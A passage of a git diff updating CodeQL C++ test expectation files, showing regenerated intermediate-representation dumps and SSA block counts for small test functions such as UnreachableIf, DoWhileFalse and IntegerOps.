1018| r6_0(glval) = VariableAddress[#return] : +# 1018| r6_1(glval) = VariableAddress[p] : +# 1018| r6_2(Point *) = Load : r6_1, mu0_2 +# 1018| r6_3(glval) = FieldAddress[x] : r6_2 +# 1018| r6_4(int) = Load : r6_3, mu0_2 +# 1018| r6_5(glval) = VariableAddress[p] : +# 1018| r6_6(Point *) = Load : r6_5, mu0_2 +# 1018| r6_7(glval) = FieldAddress[y] : r6_6 +# 1018| r6_8(int) = Load : r6_7, mu0_2 +# 1018| r6_9(int) = Add : r6_4, r6_8 +# 1018| mu6_10(int) = Store : r6_0, r6_9 +# 1005| r6_11(glval) = VariableAddress[#return] : +# 1005| v6_12(void) = ReturnValue : r6_11, mu0_2 +# 1005| v6_13(void) = UnmodeledUse : mu* +# 1005| v6_14(void) = ExitFunction : + +# 1021| UnreachableViaGoto() -> int +# 1021| Block 0 +# 1021| v0_0(void) = EnterFunction : +# 1021| mu0_1(unknown) = AliasedDefinition : +# 1021| mu0_2(unknown) = UnmodeledDefinition : +# 1022| v0_3(void) = NoOp : +# 1024| v0_4(void) = NoOp : +# 1025| r0_5(glval) = VariableAddress[#return] : +# 1025| r0_6(int) = Constant[0] : +# 1025| mu0_7(int) = Store : r0_5, r0_6 +#-----| Goto -> Block 1 + +# 1021| Block 1 +# 1021| r1_0(glval) = VariableAddress[#return] : +# 1021| v1_1(void) = ReturnValue : r1_0, mu0_2 +# 1021| v1_2(void) = UnmodeledUse : mu* +# 1021| v1_3(void) = ExitFunction : + +# 1023| Block 2 +# 1023| r2_0(glval) = VariableAddress[#return] : +# 1023| r2_1(int) = Constant[1] : +# 1023| mu2_2(int) = Store : r2_0, r2_1 +#-----| Goto -> Block 1 + +# 1028| UnreachableIf(bool) -> int +# 1028| Block 0 +# 1028| v0_0(void) = EnterFunction : +# 1028| mu0_1(unknown) = AliasedDefinition : +# 1028| mu0_2(unknown) = UnmodeledDefinition : +# 1028| r0_3(glval) = VariableAddress[b] : +# 1028| mu0_4(bool) = InitializeParameter[b] : r0_3 +# 1029| r0_5(glval) = VariableAddress[x] : +# 1029| r0_6(int) = Constant[5] : +# 1029| mu0_7(int) = Store : r0_5, r0_6 +# 1030| r0_8(glval) = VariableAddress[y] : +# 1030| r0_9(int) = Constant[10] : +# 1030| mu0_10(int) = Store : r0_8, r0_9 +# 1031| r0_11(glval) = VariableAddress[b] : +# 1031| r0_12(bool) = Load : r0_11, mu0_2 +# 1031| v0_13(void) = ConditionalBranch : r0_12 +#-----| False -> Block 5 +#-----| True -> Block 2 + +# 1028| Block 1 +# 1028| r1_0(glval) = VariableAddress[#return] : +# 1028| v1_1(void) = ReturnValue : r1_0, mu0_2 +# 1028| v1_2(void) = UnmodeledUse : mu* +# 1028| v1_3(void) = ExitFunction : + +# 1032| Block 2 +# 1032| r2_0(glval) = VariableAddress[x] : +# 1032| r2_1(int) = Load : r2_0, mu0_2 +# 1032| r2_2(glval) = VariableAddress[y] : +# 1032| r2_3(int) = Load : r2_2, mu0_2 +# 1032| r2_4(bool) = CompareEQ : r2_1, r2_3 +# 1032| v2_5(void) = ConditionalBranch : r2_4 +#-----| False -> Block 4 +#-----| True -> Block 3 + +# 1033| Block 3 +# 1033| r3_0(glval) = VariableAddress[#return] : +# 1033| r3_1(int) = Constant[1] : +# 1033| mu3_2(int) = Store : r3_0, r3_1 +#-----| Goto -> Block 1 + +# 1036| Block 4 +# 1036| r4_0(glval) = VariableAddress[#return] : +# 1036| r4_1(int) = Constant[0] : +# 1036| mu4_2(int) = Store : r4_0, r4_1 +#-----| Goto -> Block 1 + +# 1040| Block 5 +# 1040| r5_0(glval) = VariableAddress[x] : +# 1040| r5_1(int) = Load : r5_0, mu0_2 +# 1040| r5_2(glval) = VariableAddress[y] : +# 1040| r5_3(int) = Load : r5_2, mu0_2 +# 1040| r5_4(bool) = CompareLT : r5_1, r5_3 +# 1040| v5_5(void) = ConditionalBranch : r5_4 +#-----| False -> Block 7 +#-----| True -> Block 6 + +# 1041| Block 6 +# 1041| r6_0(glval) = VariableAddress[#return] : +# 1041| r6_1(int) = Constant[0] : +# 1041| mu6_2(int) = Store : r6_0, r6_1 +#-----| Goto -> Block 1 + +# 1044| Block 7 +# 1044| r7_0(glval) = VariableAddress[#return] : +# 1044| r7_1(int) = Constant[1] : +# 1044| mu7_2(int) = Store : r7_0, r7_1 +#-----| Goto -> Block 1 + +# 1049| DoWhileFalse() -> int +# 1049| Block 0 +# 1049| v0_0(void) = EnterFunction : +# 1049| mu0_1(unknown) = AliasedDefinition : +# 1049| mu0_2(unknown) = UnmodeledDefinition : +# 1050| r0_3(glval) = VariableAddress[i] : +# 1050| r0_4(int) = Constant[0] : +# 1050| mu0_5(int) = Store : r0_3, r0_4 +#-----| Goto -> Block 1 + +# 1052| Block 1 +# 1052| r1_0(glval) = VariableAddress[i] : +# 1052| r1_1(int) = Load : r1_0, mu0_2 +# 1052| r1_2(int) = Constant[1] : +# 1052| r1_3(int) = Add : r1_1, r1_2 +# 1052| mu1_4(int) = Store : r1_0, r1_3 +# 1053| r1_5(bool) = Constant[0] : +# 1053| v1_6(void) = ConditionalBranch : r1_5 +#-----| False -> Block 2 +#-----| True -> Block 1 + +# 1055| Block 2 +# 1055| r2_0(glval) = VariableAddress[#return] : +# 1055| r2_1(glval) = VariableAddress[i] : +# 1055| r2_2(int) = Load : r2_1, mu0_2 +# 1055| mu2_3(int) = Store : r2_0, r2_2 +# 1049| r2_4(glval) = VariableAddress[#return] : +# 1049| v2_5(void) = ReturnValue : r2_4, mu0_2 +# 1049| v2_6(void) = UnmodeledUse : mu* +# 1049| v2_7(void) = ExitFunction : diff --git a/cpp/ql/test/library-tests/ir/ir/ssa_block_count.expected b/cpp/ql/test/library-tests/ir/ir/ssa_block_count.expected index 1c30402ee65..83add17211f 100644 --- a/cpp/ql/test/library-tests/ir/ir/ssa_block_count.expected +++ b/cpp/ql/test/library-tests/ir/ir/ssa_block_count.expected @@ -15,13 +15,14 @@ | IR: CallNestedTemplateFunc | 1 | | IR: CallViaFuncPtr | 1 | | IR: CastToVoid | 1 | +| IR: ChiPhiNode | 7 | | IR: Comma | 1 | | IR: CompoundAssignment | 1 | | IR: ConditionValues | 13 | | IR: Conditional | 4 | | IR: Conditional_LValue | 4 | | IR: Conditional_Void | 4 | -| IR: ConstantConditions | 4 | +| IR: ConstantConditions | 3 | | IR: Constants | 1 | | IR: Continue | 6 | | IR: DeclareObject | 1 | @@ -30,6 +31,7 @@ | IR: Derived | 1 | | IR: DerivedVB | 1 | | IR: DoStatements | 3 | +| IR: DoWhileFalse | 3 | | IR: DynamicCast | 1 | | IR: EarlyReturn | 4 | | IR: EarlyReturnValue | 4 | @@ -42,14 +44,14 @@ | IR: For_Break | 6 | | IR: For_Condition | 4 | | IR: For_ConditionUpdate | 4 | -| IR: For_Continue_NoUpdate | 6 | +| IR: For_Continue_NoUpdate | 5 | | IR: For_Continue_Update | 6 | -| IR: For_Empty | 3 | -| IR: For_Init | 3 | +| IR: For_Empty | 2 | +| IR: For_Init | 2 | | IR: For_InitCondition | 4 | | IR: For_InitConditionUpdate | 4 | -| IR: For_InitUpdate | 3 | -| IR: For_Update | 3 | +| IR: For_InitUpdate | 2 | +| IR: For_Update | 2 | | IR: Func | 1 | | IR: FuncPtrConversions | 1 | | IR: FunctionReferences | 1 | @@ -87,17 +89,19 @@ | IR: StaticMemberFunction | 1 | | IR: String | 1 | | IR: StringLiteral | 1 | -| IR: Switch | 10 | +| IR: Switch | 8 | | IR: TakeReference | 1 | -| IR: TryCatch | 15 | +| IR: TryCatch | 13 | | IR: UninitializedVariables | 1 | | IR: UnionInit | 1 | +| IR: UnreachableIf | 7 | +| IR: UnreachableViaGoto | 1 | | IR: VarArgUsage | 1 | | IR: VarArgs | 1 | | IR: VirtualMemberFunction | 1 | | IR: WhileStatements | 4 | | IR: WhileStmtWithDeclaration | 8 | -| IR: designatedInit | 4 | +| IR: designatedInit | 1 | | IR: min | 4 | | IR: operator= | 1 | | IR: ~Base | 1 | diff --git a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ir.expected b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ir.expected index 8aa58507f26..ff5b79febb3 100644 --- a/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/unaliased_ssa_ir.expected @@ -2,1046 +2,1068 @@ bad_asts.cpp: # 14| Bad::CallBadMemberFunction() -> void # 14| Block 0 # 14| v0_0(void) = EnterFunction : -# 14| mu0_1(unknown) = UnmodeledDefinition : -# 15| r0_2(glval) = VariableAddress[s] : -# 15| mu0_3(S) = Uninitialized : r0_2 -# 15| r0_4(glval) = FieldAddress[x] : r0_2 -# 15| r0_5(int) = Constant[0] : -# 15| mu0_6(int) = Store : r0_4, r0_5 -# 16| r0_7(glval) = VariableAddress[s] : -# 16| r0_8(glval) = FunctionAddress[MemberFunction] : -# 16| r0_9(int) = Constant[1] : -# 16| r0_10(int) = Call : r0_8, this:r0_7, r0_9 -# 17| v0_11(void) = NoOp : -# 14| v0_12(void) = ReturnVoid : -# 14| v0_13(void) = UnmodeledUse : mu* -# 14| v0_14(void) = ExitFunction : +# 14| mu0_1(unknown) = AliasedDefinition : +# 14| mu0_2(unknown) = UnmodeledDefinition : +# 15| r0_3(glval) = VariableAddress[s] : +# 15| mu0_4(S) = Uninitialized[s] : r0_3 +# 15| r0_5(glval) = FieldAddress[x] : r0_3 +# 15| r0_6(int) = Constant[0] : +# 15| mu0_7(int) = Store : r0_5, r0_6 +# 16| r0_8(glval) = VariableAddress[s] : +# 16| r0_9(glval) = FunctionAddress[MemberFunction] : +# 16| r0_10(int) = Constant[1] : +# 16| r0_11(int) = Call : r0_9, this:r0_8, r0_10 +# 16| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 17| v0_13(void) = NoOp : +# 14| v0_14(void) = ReturnVoid : +# 14| v0_15(void) = UnmodeledUse : mu* +# 14| v0_16(void) = ExitFunction : # 22| Bad::Point::Point() -> void # 22| Block 0 # 22| v0_0(void) = EnterFunction : -# 22| mu0_1(unknown) = UnmodeledDefinition : -# 22| r0_2(glval) = InitializeThis : -# 23| v0_3(void) = NoOp : -# 22| v0_4(void) = ReturnVoid : -# 22| v0_5(void) = UnmodeledUse : mu* -# 22| v0_6(void) = ExitFunction : +# 22| mu0_1(unknown) = AliasedDefinition : +# 22| mu0_2(unknown) = UnmodeledDefinition : +# 22| r0_3(glval) = InitializeThis : +# 23| v0_4(void) = NoOp : +# 22| v0_5(void) = ReturnVoid : +# 22| v0_6(void) = UnmodeledUse : mu* +# 22| v0_7(void) = ExitFunction : # 26| Bad::CallCopyConstructor(const Point &) -> void # 26| Block 0 # 26| v0_0(void) = EnterFunction : -# 26| mu0_1(unknown) = UnmodeledDefinition : -# 26| r0_2(glval) = VariableAddress[a] : -# 26| m0_3(Point &) = InitializeParameter[a] : r0_2 -# 27| r0_4(glval) = VariableAddress[b] : -# 27| r0_5(glval) = VariableAddress[a] : -# 27| r0_6(Point &) = Load : r0_5, m0_3 -# 27| r0_7(glval) = Convert : r0_6 -# 27| r0_8(Point) = Load : r0_7, mu0_1 -# 27| m0_9(Point) = Store : r0_4, r0_8 -# 28| v0_10(void) = NoOp : -# 26| v0_11(void) = ReturnVoid : -# 26| v0_12(void) = UnmodeledUse : mu* -# 26| v0_13(void) = ExitFunction : +# 26| mu0_1(unknown) = AliasedDefinition : +# 26| mu0_2(unknown) = UnmodeledDefinition : +# 26| r0_3(glval) = VariableAddress[a] : +# 26| m0_4(Point &) = InitializeParameter[a] : r0_3 +# 27| r0_5(glval) = VariableAddress[b] : +# 27| r0_6(glval) = VariableAddress[a] : +# 27| r0_7(Point &) = Load : r0_6, m0_4 +# 27| r0_8(glval) = Convert : r0_7 +# 27| r0_9(Point) = Load : r0_8, mu0_2 +# 27| m0_10(Point) = Store : r0_5, r0_9 +# 28| v0_11(void) = NoOp : +# 26| v0_12(void) = ReturnVoid : +# 26| v0_13(void) = UnmodeledUse : mu* +# 26| v0_14(void) = ExitFunction : ir.cpp: # 1| Constants() -> void # 1| Block 0 # 1| v0_0(void) = EnterFunction : -# 1| mu0_1(unknown) = UnmodeledDefinition : -# 2| r0_2(glval) = VariableAddress[c_i] : -# 2| r0_3(char) = Constant[1] : -# 2| m0_4(char) = Store : r0_2, r0_3 -# 3| r0_5(glval) = VariableAddress[c_c] : -# 3| r0_6(char) = Constant[65] : -# 3| m0_7(char) = Store : r0_5, r0_6 -# 5| r0_8(glval) = VariableAddress[sc_i] : -# 5| r0_9(signed char) = Constant[-1] : -# 5| m0_10(signed char) = Store : r0_8, r0_9 -# 6| r0_11(glval) = VariableAddress[sc_c] : -# 6| r0_12(signed char) = Constant[65] : -# 6| m0_13(signed char) = Store : r0_11, r0_12 -# 8| r0_14(glval) = VariableAddress[uc_i] : -# 8| r0_15(unsigned char) = Constant[5] : -# 8| m0_16(unsigned char) = Store : r0_14, r0_15 -# 9| r0_17(glval) = VariableAddress[uc_c] : -# 9| r0_18(unsigned char) = Constant[65] : -# 9| m0_19(unsigned char) = Store : r0_17, r0_18 -# 11| r0_20(glval) = VariableAddress[s] : -# 11| r0_21(short) = Constant[5] : -# 11| m0_22(short) = Store : r0_20, r0_21 -# 12| r0_23(glval) = VariableAddress[us] : -# 12| r0_24(unsigned short) = Constant[5] : -# 12| m0_25(unsigned short) = Store : r0_23, r0_24 -# 14| r0_26(glval) = VariableAddress[i] : -# 14| r0_27(int) = Constant[5] : -# 14| m0_28(int) = Store : r0_26, r0_27 -# 15| r0_29(glval) = VariableAddress[ui] : -# 15| r0_30(unsigned int) = Constant[5] : -# 15| m0_31(unsigned int) = Store : r0_29, r0_30 -# 17| r0_32(glval) = VariableAddress[l] : -# 17| r0_33(long) = Constant[5] : -# 17| m0_34(long) = Store : r0_32, r0_33 -# 18| r0_35(glval) = VariableAddress[ul] : -# 18| r0_36(unsigned long) = Constant[5] : -# 18| m0_37(unsigned long) = Store : r0_35, r0_36 -# 20| r0_38(glval) = VariableAddress[ll_i] : -# 20| r0_39(long long) = Constant[5] : -# 20| m0_40(long long) = Store : r0_38, r0_39 -# 21| r0_41(glval) = VariableAddress[ll_ll] : -# 21| r0_42(long long) = Constant[5] : -# 21| m0_43(long long) = Store : r0_41, r0_42 -# 22| r0_44(glval) = VariableAddress[ull_i] : -# 22| r0_45(unsigned long long) = Constant[5] : -# 22| m0_46(unsigned long long) = Store : r0_44, r0_45 -# 23| r0_47(glval) = VariableAddress[ull_ull] : -# 23| r0_48(unsigned long long) = Constant[5] : -# 23| m0_49(unsigned long long) = Store : r0_47, r0_48 -# 25| r0_50(glval) = VariableAddress[b_t] : -# 25| r0_51(bool) = Constant[1] : -# 25| m0_52(bool) = Store : r0_50, r0_51 -# 26| r0_53(glval) = VariableAddress[b_f] : -# 26| r0_54(bool) = Constant[0] : -# 26| m0_55(bool) = Store : r0_53, r0_54 -# 28| r0_56(glval) = VariableAddress[wc_i] : -# 28| r0_57(wchar_t) = Constant[5] : -# 28| m0_58(wchar_t) = Store : r0_56, r0_57 -# 29| r0_59(glval) = VariableAddress[wc_c] : -# 29| r0_60(wchar_t) = Constant[65] : -# 29| m0_61(wchar_t) = Store : r0_59, r0_60 -# 31| r0_62(glval) = VariableAddress[c16] : -# 31| r0_63(char16_t) = Constant[65] : -# 31| m0_64(char16_t) = Store : r0_62, r0_63 -# 32| r0_65(glval) = VariableAddress[c32] : -# 32| r0_66(char32_t) = Constant[65] : -# 32| m0_67(char32_t) = Store : r0_65, r0_66 -# 34| r0_68(glval) = VariableAddress[f_i] : -# 34| r0_69(float) = Constant[1.0] : -# 34| m0_70(float) = Store : r0_68, r0_69 -# 35| r0_71(glval) = VariableAddress[f_f] : -# 35| r0_72(float) = Constant[1.0] : -# 35| m0_73(float) = Store : r0_71, r0_72 -# 36| r0_74(glval) = VariableAddress[f_d] : -# 36| r0_75(float) = Constant[1.0] : -# 36| m0_76(float) = Store : r0_74, r0_75 -# 38| r0_77(glval) = VariableAddress[d_i] : -# 38| r0_78(double) = Constant[1.0] : -# 38| m0_79(double) = Store : r0_77, r0_78 -# 39| r0_80(glval) = VariableAddress[d_f] : -# 39| r0_81(double) = Constant[1.0] : -# 39| m0_82(double) = Store : r0_80, r0_81 -# 40| r0_83(glval) = VariableAddress[d_d] : -# 40| r0_84(double) = Constant[1.0] : -# 40| m0_85(double) = Store : r0_83, r0_84 -# 41| v0_86(void) = NoOp : -# 1| v0_87(void) = ReturnVoid : -# 1| v0_88(void) = UnmodeledUse : mu* -# 1| v0_89(void) = ExitFunction : +# 1| mu0_1(unknown) = AliasedDefinition : +# 1| mu0_2(unknown) = UnmodeledDefinition : +# 2| r0_3(glval) = VariableAddress[c_i] : +# 2| r0_4(char) = Constant[1] : +# 2| m0_5(char) = Store : r0_3, r0_4 +# 3| r0_6(glval) = VariableAddress[c_c] : +# 3| r0_7(char) = Constant[65] : +# 3| m0_8(char) = Store : r0_6, r0_7 +# 5| r0_9(glval) = VariableAddress[sc_i] : +# 5| r0_10(signed char) = Constant[-1] : +# 5| m0_11(signed char) = Store : r0_9, r0_10 +# 6| r0_12(glval) = VariableAddress[sc_c] : +# 6| r0_13(signed char) = Constant[65] : +# 6| m0_14(signed char) = Store : r0_12, r0_13 +# 8| r0_15(glval) = VariableAddress[uc_i] : +# 8| r0_16(unsigned char) = Constant[5] : +# 8| m0_17(unsigned char) = Store : r0_15, r0_16 +# 9| r0_18(glval) = VariableAddress[uc_c] : +# 9| r0_19(unsigned char) = Constant[65] : +# 9| m0_20(unsigned char) = Store : r0_18, r0_19 +# 11| r0_21(glval) = VariableAddress[s] : +# 11| r0_22(short) = Constant[5] : +# 11| m0_23(short) = Store : r0_21, r0_22 +# 12| r0_24(glval) = VariableAddress[us] : +# 12| r0_25(unsigned short) = Constant[5] : +# 12| m0_26(unsigned short) = Store : r0_24, r0_25 +# 14| r0_27(glval) = VariableAddress[i] : +# 14| r0_28(int) = Constant[5] : +# 14| m0_29(int) = Store : r0_27, r0_28 +# 15| r0_30(glval) = VariableAddress[ui] : +# 15| r0_31(unsigned int) = Constant[5] : +# 15| m0_32(unsigned int) = Store : r0_30, r0_31 +# 17| r0_33(glval) = VariableAddress[l] : +# 17| r0_34(long) = Constant[5] : +# 17| m0_35(long) = Store : r0_33, r0_34 +# 18| r0_36(glval) = VariableAddress[ul] : +# 18| r0_37(unsigned long) = Constant[5] : +# 18| m0_38(unsigned long) = Store : r0_36, r0_37 +# 20| r0_39(glval) = VariableAddress[ll_i] : +# 20| r0_40(long long) = Constant[5] : +# 20| m0_41(long long) = Store : r0_39, r0_40 +# 21| r0_42(glval) = VariableAddress[ll_ll] : +# 21| r0_43(long long) = Constant[5] : +# 21| m0_44(long long) = Store : r0_42, r0_43 +# 22| r0_45(glval) = VariableAddress[ull_i] : +# 22| r0_46(unsigned long long) = Constant[5] : +# 22| m0_47(unsigned long long) = Store : r0_45, r0_46 +# 23| r0_48(glval) = VariableAddress[ull_ull] : +# 23| r0_49(unsigned long long) = Constant[5] : +# 23| m0_50(unsigned long long) = Store : r0_48, r0_49 +# 25| r0_51(glval) = VariableAddress[b_t] : +# 25| r0_52(bool) = Constant[1] : +# 25| m0_53(bool) = Store : r0_51, r0_52 +# 26| r0_54(glval) = VariableAddress[b_f] : +# 26| r0_55(bool) = Constant[0] : +# 26| m0_56(bool) = Store : r0_54, r0_55 +# 28| r0_57(glval) = VariableAddress[wc_i] : +# 28| r0_58(wchar_t) = Constant[5] : +# 28| m0_59(wchar_t) = Store : r0_57, r0_58 +# 29| r0_60(glval) = VariableAddress[wc_c] : +# 29| r0_61(wchar_t) = Constant[65] : +# 29| m0_62(wchar_t) = Store : r0_60, r0_61 +# 31| r0_63(glval) = VariableAddress[c16] : +# 31| r0_64(char16_t) = Constant[65] : +# 31| m0_65(char16_t) = Store : r0_63, r0_64 +# 32| r0_66(glval) = VariableAddress[c32] : +# 32| r0_67(char32_t) = Constant[65] : +# 32| m0_68(char32_t) = Store : r0_66, r0_67 +# 34| r0_69(glval) = VariableAddress[f_i] : +# 34| r0_70(float) = Constant[1.0] : +# 34| m0_71(float) = Store : r0_69, r0_70 +# 35| r0_72(glval) = VariableAddress[f_f] : +# 35| r0_73(float) = Constant[1.0] : +# 35| m0_74(float) = Store : r0_72, r0_73 +# 36| r0_75(glval) = VariableAddress[f_d] : +# 36| r0_76(float) = Constant[1.0] : +# 36| m0_77(float) = Store : r0_75, r0_76 +# 38| r0_78(glval) = VariableAddress[d_i] : +# 38| r0_79(double) = Constant[1.0] : +# 38| m0_80(double) = Store : r0_78, r0_79 +# 39| r0_81(glval) = VariableAddress[d_f] : +# 39| r0_82(double) = Constant[1.0] : +# 39| m0_83(double) = Store : r0_81, r0_82 +# 40| r0_84(glval) = VariableAddress[d_d] : +# 40| r0_85(double) = Constant[1.0] : +# 40| m0_86(double) = Store : r0_84, r0_85 +# 41| v0_87(void) = NoOp : +# 1| v0_88(void) = ReturnVoid : +# 1| v0_89(void) = UnmodeledUse : mu* +# 1| v0_90(void) = ExitFunction : # 43| Foo() -> void # 43| Block 0 # 43| v0_0(void) = EnterFunction : -# 43| mu0_1(unknown) = UnmodeledDefinition : -# 44| r0_2(glval) = VariableAddress[x] : -# 44| r0_3(int) = Constant[17] : -# 44| m0_4(int) = Store : r0_2, r0_3 -# 45| r0_5(glval) = VariableAddress[y] : -# 45| r0_6(short) = Constant[7] : -# 45| m0_7(short) = Store : r0_5, r0_6 -# 46| r0_8(glval) = VariableAddress[x] : -# 46| r0_9(int) = Load : r0_8, m0_4 -# 46| r0_10(glval) = VariableAddress[y] : -# 46| r0_11(short) = Load : r0_10, m0_7 -# 46| r0_12(int) = Convert : r0_11 -# 46| r0_13(int) = Add : r0_9, r0_12 -# 46| r0_14(short) = Convert : r0_13 -# 46| r0_15(glval) = VariableAddress[y] : -# 46| m0_16(short) = Store : r0_15, r0_14 -# 47| r0_17(glval) = VariableAddress[x] : -# 47| r0_18(int) = Load : r0_17, m0_4 -# 47| r0_19(glval) = VariableAddress[y] : -# 47| r0_20(short) = Load : r0_19, m0_16 -# 47| r0_21(int) = Convert : r0_20 -# 47| r0_22(int) = Mul : r0_18, r0_21 -# 47| r0_23(glval) = VariableAddress[x] : -# 47| m0_24(int) = Store : r0_23, r0_22 -# 48| v0_25(void) = NoOp : -# 43| v0_26(void) = ReturnVoid : -# 43| v0_27(void) = UnmodeledUse : mu* -# 43| v0_28(void) = ExitFunction : +# 43| mu0_1(unknown) = AliasedDefinition : +# 43| mu0_2(unknown) = UnmodeledDefinition : +# 44| r0_3(glval) = VariableAddress[x] : +# 44| r0_4(int) = Constant[17] : +# 44| m0_5(int) = Store : r0_3, r0_4 +# 45| r0_6(glval) = VariableAddress[y] : +# 45| r0_7(short) = Constant[7] : +# 45| m0_8(short) = Store : r0_6, r0_7 +# 46| r0_9(glval) = VariableAddress[x] : +# 46| r0_10(int) = Load : r0_9, m0_5 +# 46| r0_11(glval) = VariableAddress[y] : +# 46| r0_12(short) = Load : r0_11, m0_8 +# 46| r0_13(int) = Convert : r0_12 +# 46| r0_14(int) = Add : r0_10, r0_13 +# 46| r0_15(short) = Convert : r0_14 +# 46| r0_16(glval) = VariableAddress[y] : +# 46| m0_17(short) = Store : r0_16, r0_15 +# 47| r0_18(glval) = VariableAddress[x] : +# 47| r0_19(int) = Load : r0_18, m0_5 +# 47| r0_20(glval) = VariableAddress[y] : +# 47| r0_21(short) = Load : r0_20, m0_17 +# 47| r0_22(int) = Convert : r0_21 +# 47| r0_23(int) = Mul : r0_19, r0_22 +# 47| r0_24(glval) = VariableAddress[x] : +# 47| m0_25(int) = Store : r0_24, r0_23 +# 48| v0_26(void) = NoOp : +# 43| v0_27(void) = ReturnVoid : +# 43| v0_28(void) = UnmodeledUse : mu* +# 43| v0_29(void) = ExitFunction : # 50| IntegerOps(int, int) -> void # 50| Block 0 # 50| v0_0(void) = EnterFunction : -# 50| mu0_1(unknown) = UnmodeledDefinition : -# 50| r0_2(glval) = VariableAddress[x] : -# 50| m0_3(int) = InitializeParameter[x] : r0_2 -# 50| r0_4(glval) = VariableAddress[y] : -# 50| m0_5(int) = InitializeParameter[y] : r0_4 -# 51| r0_6(glval) = VariableAddress[z] : -# 51| m0_7(int) = Uninitialized : r0_6 -# 53| r0_8(glval) = VariableAddress[x] : -# 53| r0_9(int) = Load : r0_8, m0_3 -# 53| r0_10(glval) = VariableAddress[y] : -# 53| r0_11(int) = Load : r0_10, m0_5 -# 53| r0_12(int) = Add : r0_9, r0_11 -# 53| r0_13(glval) = VariableAddress[z] : -# 53| m0_14(int) = Store : r0_13, r0_12 -# 54| r0_15(glval) = VariableAddress[x] : -# 54| r0_16(int) = Load : r0_15, m0_3 -# 54| r0_17(glval) = VariableAddress[y] : -# 54| r0_18(int) = Load : r0_17, m0_5 -# 54| r0_19(int) = Sub : r0_16, r0_18 -# 54| r0_20(glval) = VariableAddress[z] : -# 54| m0_21(int) = Store : r0_20, r0_19 -# 55| r0_22(glval) = VariableAddress[x] : -# 55| r0_23(int) = Load : r0_22, m0_3 -# 55| r0_24(glval) = VariableAddress[y] : -# 55| r0_25(int) = Load : r0_24, m0_5 -# 55| r0_26(int) = Mul : r0_23, r0_25 -# 55| r0_27(glval) = VariableAddress[z] : -# 55| m0_28(int) = Store : r0_27, r0_26 -# 56| r0_29(glval) = VariableAddress[x] : -# 56| r0_30(int) = Load : r0_29, m0_3 -# 56| r0_31(glval) = VariableAddress[y] : -# 56| r0_32(int) = Load : r0_31, m0_5 -# 56| r0_33(int) = Div : r0_30, r0_32 -# 56| r0_34(glval) = VariableAddress[z] : -# 56| m0_35(int) = Store : r0_34, r0_33 -# 57| r0_36(glval) = VariableAddress[x] : -# 57| r0_37(int) = Load : r0_36, m0_3 -# 57| r0_38(glval) = VariableAddress[y] : -# 57| r0_39(int) = Load : r0_38, m0_5 -# 57| r0_40(int) = Rem : r0_37, r0_39 -# 57| r0_41(glval) = VariableAddress[z] : -# 57| m0_42(int) = Store : r0_41, r0_40 -# 59| r0_43(glval) = VariableAddress[x] : -# 59| r0_44(int) = Load : r0_43, m0_3 -# 59| r0_45(glval) = VariableAddress[y] : -# 59| r0_46(int) = Load : r0_45, m0_5 -# 59| r0_47(int) = BitAnd : r0_44, r0_46 -# 59| r0_48(glval) = VariableAddress[z] : -# 59| m0_49(int) = Store : r0_48, r0_47 -# 60| r0_50(glval) = VariableAddress[x] : -# 60| r0_51(int) = Load : r0_50, m0_3 -# 60| r0_52(glval) = VariableAddress[y] : -# 60| r0_53(int) = Load : r0_52, m0_5 -# 60| r0_54(int) = BitOr : r0_51, r0_53 -# 60| r0_55(glval) = VariableAddress[z] : -# 60| m0_56(int) = Store : r0_55, r0_54 -# 61| r0_57(glval) = VariableAddress[x] : -# 61| r0_58(int) = Load : r0_57, m0_3 -# 61| r0_59(glval) = VariableAddress[y] : -# 61| r0_60(int) = Load : r0_59, m0_5 -# 61| r0_61(int) = BitXor : r0_58, r0_60 -# 61| r0_62(glval) = VariableAddress[z] : -# 61| m0_63(int) = Store : r0_62, r0_61 -# 63| r0_64(glval) = VariableAddress[x] : -# 63| r0_65(int) = Load : r0_64, m0_3 -# 63| r0_66(glval) = VariableAddress[y] : -# 63| r0_67(int) = Load : r0_66, m0_5 -# 63| r0_68(int) = ShiftLeft : r0_65, r0_67 -# 63| r0_69(glval) = VariableAddress[z] : -# 63| m0_70(int) = Store : r0_69, r0_68 -# 64| r0_71(glval) = VariableAddress[x] : -# 64| r0_72(int) = Load : r0_71, m0_3 -# 64| r0_73(glval) = VariableAddress[y] : -# 64| r0_74(int) = Load : r0_73, m0_5 -# 64| r0_75(int) = ShiftRight : r0_72, r0_74 -# 64| r0_76(glval) = VariableAddress[z] : -# 64| m0_77(int) = Store : r0_76, r0_75 -# 66| r0_78(glval) = VariableAddress[x] : -# 66| r0_79(int) = Load : r0_78, m0_3 -# 66| r0_80(glval) = VariableAddress[z] : -# 66| m0_81(int) = Store : r0_80, r0_79 -# 68| r0_82(glval) = VariableAddress[x] : -# 68| r0_83(int) = Load : r0_82, m0_3 -# 68| r0_84(glval) = VariableAddress[z] : -# 68| r0_85(int) = Load : r0_84, m0_81 -# 68| r0_86(int) = Add : r0_85, r0_83 -# 68| m0_87(int) = Store : r0_84, r0_86 -# 69| r0_88(glval) = VariableAddress[x] : -# 69| r0_89(int) = Load : r0_88, m0_3 -# 69| r0_90(glval) = VariableAddress[z] : -# 69| r0_91(int) = Load : r0_90, m0_87 -# 69| r0_92(int) = Sub : r0_91, r0_89 -# 69| m0_93(int) = Store : r0_90, r0_92 -# 70| r0_94(glval) = VariableAddress[x] : -# 70| r0_95(int) = Load : r0_94, m0_3 -# 70| r0_96(glval) = VariableAddress[z] : -# 70| r0_97(int) = Load : r0_96, m0_93 -# 70| r0_98(int) = Mul : r0_97, r0_95 -# 70| m0_99(int) = Store : r0_96, r0_98 -# 71| r0_100(glval) = VariableAddress[x] : -# 71| r0_101(int) = Load : r0_100, m0_3 -# 71| r0_102(glval) = VariableAddress[z] : -# 71| r0_103(int) = Load : r0_102, m0_99 -# 71| r0_104(int) = Div : r0_103, r0_101 -# 71| m0_105(int) = Store : r0_102, r0_104 -# 72| r0_106(glval) = VariableAddress[x] : -# 72| r0_107(int) = Load : r0_106, m0_3 -# 72| r0_108(glval) = VariableAddress[z] : -# 72| r0_109(int) = Load : r0_108, m0_105 -# 72| r0_110(int) = Rem : r0_109, r0_107 -# 72| m0_111(int) = Store : r0_108, r0_110 -# 74| r0_112(glval) = VariableAddress[x] : -# 74| r0_113(int) = Load : r0_112, m0_3 -# 74| 